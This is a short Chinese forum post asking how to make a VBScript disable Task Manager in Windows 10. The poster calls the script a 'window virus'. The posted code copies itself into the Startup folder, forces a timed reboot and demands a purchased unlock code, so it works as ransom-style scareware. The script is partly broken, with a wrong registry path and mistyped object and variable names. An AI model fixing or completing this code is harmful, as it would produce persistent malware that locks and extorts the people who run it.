有谁知道vbs的禁用任务管理器怎么写

我写了一个想要禁用任务管理器的窗口病毒
第二行的"Windows···是任务管理器地址可是貌似无效，有谁知道怎么改win10
Set WshShell = CreateObject("Wscript.Shell")
WshShell.RegWrite "Windows\System32\Taskmgr.exe",1,"REG_DWORD"
set fso = createobject("scripting.filesystemobject")
set ws = createobject("wscript.shell")
pt = ws.specialfolders("startup") & "\"
set file = fso.getfile(wscript.scriptfullname)
file.copy pt
on error resume next
dim WSHshellA
set TSHshellA = wscript.createobject("wscyipt.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""您的计算机即将关闭"" ",0 ,true
dim a
do while(a <> "解毒码" )
a = inputbox ("购买解毒码后输入解毒码","输入解毒码","", 8000, 7000)
msgbox chr(13) + chr(13) + chr(13) + a, 0," 你觉得对吗"
loop
msgbox chr(13) + chr(13) + chr(13) + "确实对了，感谢支持"
dim TSifshell
set iSAshell = wscript.createobject("wscript. shell")
WSHshell.run "cmd.exe /c shutdown -a ", 0 , true
msgbox chr(13) + chr(13) + chr(13) + "后会有期"

不是很懂。。。 。。。